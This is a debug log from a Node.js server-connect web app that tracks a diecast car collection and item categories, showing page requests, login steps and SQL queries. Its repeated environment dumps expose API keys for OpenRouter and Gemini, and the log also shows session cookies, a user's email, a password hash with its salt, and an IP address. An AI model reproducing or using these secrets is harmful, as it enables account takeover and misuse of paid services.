      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    }
  ]
}
2026-02-04T07:09:26.636Z server-connect:router Serving templateView /
2026-02-04T07:09:26.636Z server-connect:app Executing action step identify
2026-02-04T07:09:26.636Z server-connect:app options: { provider: 'security' }
2026-02-04T07:09:26.636Z server-connect:output identity: 1
2026-02-04T07:09:26.636Z server-connect:app Executing action step restrict
2026-02-04T07:09:26.636Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:09:26.636Z server-connect:output restrict: undefined
2026-02-04T07:09:26.636Z server-connect:app Executing action step restrict
2026-02-04T07:09:26.636Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:09:26.637Z server-connect:output restrict: undefined
2026-02-04T07:09:26.637Z server-connect:router Render template layouts/main
2026-02-04T07:09:26.637Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?series=194',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?series=194',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:09:28.869Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:09:28.870Z server-connect:app Executing action step identify
2026-02-04T07:09:28.870Z server-connect:app options: { provider: 'security' }
2026-02-04T07:09:28.870Z server-connect:output identity: 1
2026-02-04T07:09:28.870Z server-connect:app Executing action step restrict
2026-02-04T07:09:28.870Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:09:28.870Z server-connect:output restrict: undefined
2026-02-04T07:09:28.870Z server-connect:app Executing action step paged
2026-02-04T07:09:28.870Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:09:28.873Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 125,
      model_name: 'Porsche 917',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 124,
      model_name: 'Porsche 935 K3',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 123,
      model_name: 'Porsche 911 Carerra RS 2.7',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 122,
      model_name: 'Porsche 911 GT3 Coupe',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 121,
      model_name: 'Porsche 911 Carerra S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-31T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Porsche Edition Gift Set',
      brand_id: 72,
      series_id: 173,
      case: null,
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:13:17.425Z server-connect:router Serving templateView /
2026-02-04T07:13:17.425Z server-connect:app Executing action step identify
2026-02-04T07:13:17.425Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:17.425Z server-connect:auth No login cookie found
2026-02-04T07:13:17.425Z server-connect:output identity: false
2026-02-04T07:13:17.425Z server-connect:app Executing action step restrict
2026-02-04T07:13:17.425Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:17.426Z server-connect:output restrict: undefined
2026-02-04T07:13:17.639Z server-connect:router Serving templateView /login
2026-02-04T07:13:17.639Z server-connect:app Executing action step identify
2026-02-04T07:13:17.640Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:17.640Z server-connect:auth No login cookie found
2026-02-04T07:13:17.640Z server-connect:output identity: false
2026-02-04T07:13:17.640Z server-connect:router Render template layouts/authentication
2026-02-04T07:13:17.640Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:17.639Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-04T07:13:28.255Z server-connect:router Serving serverConnect /api/access-control/login
2026-02-04T07:13:28.255Z server-connect:app Executing action step identify
2026-02-04T07:13:28.255Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:28.255Z server-connect:auth No login cookie found
2026-02-04T07:13:28.255Z server-connect:output identity: false
2026-02-04T07:13:28.255Z server-connect:app Executing action step login
2026-02-04T07:13:28.255Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-02-04T07:13:28.258Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-04T07:13:28.307Z server-connect:output identity: 1
2026-02-04T07:13:28.307Z server-connect:app Executing action step restrict
2026-02-04T07:13:28.307Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:28.308Z server-connect:output restrict: undefined
2026-02-04T07:13:28.531Z server-connect:router Serving templateView /
2026-02-04T07:13:28.532Z server-connect:app Executing action step identify
2026-02-04T07:13:28.532Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:28.532Z server-connect:output identity: 1
2026-02-04T07:13:28.532Z server-connect:app Executing action step restrict
2026-02-04T07:13:28.532Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:28.532Z server-connect:output restrict: undefined
2026-02-04T07:13:28.532Z server-connect:app Executing action step restrict
2026-02-04T07:13:28.532Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:13:28.532Z server-connect:output restrict: undefined
2026-02-04T07:13:28.532Z server-connect:router Render template layouts/main
2026-02-04T07:13:28.533Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:13:29.482Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-04T07:13:29.482Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-04T07:13:29.482Z server-connect:app Executing action step identify
2026-02-04T07:13:29.482Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:29.482Z server-connect:output identity: 1
2026-02-04T07:13:29.482Z server-connect:app Executing action step restrict
2026-02-04T07:13:29.482Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:29.483Z server-connect:app Executing action step identify
2026-02-04T07:13:29.483Z server-connect:app options: { provider: 'security' }
2026-02-04T07:13:29.483Z server-connect:output identity: 1
2026-02-04T07:13:29.483Z server-connect:app Executing action step restrict
2026-02-04T07:13:29.483Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:13:29.483Z server-connect:output restrict: undefined
2026-02-04T07:13:29.483Z server-connect:app Executing action step select
2026-02-04T07:13:29.483Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-04T07:13:29.483Z server-connect:output restrict: undefined
2026-02-04T07:13:29.483Z server-connect:app Executing action step single
2026-02-04T07:13:29.483Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-04T07:13:29.487Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
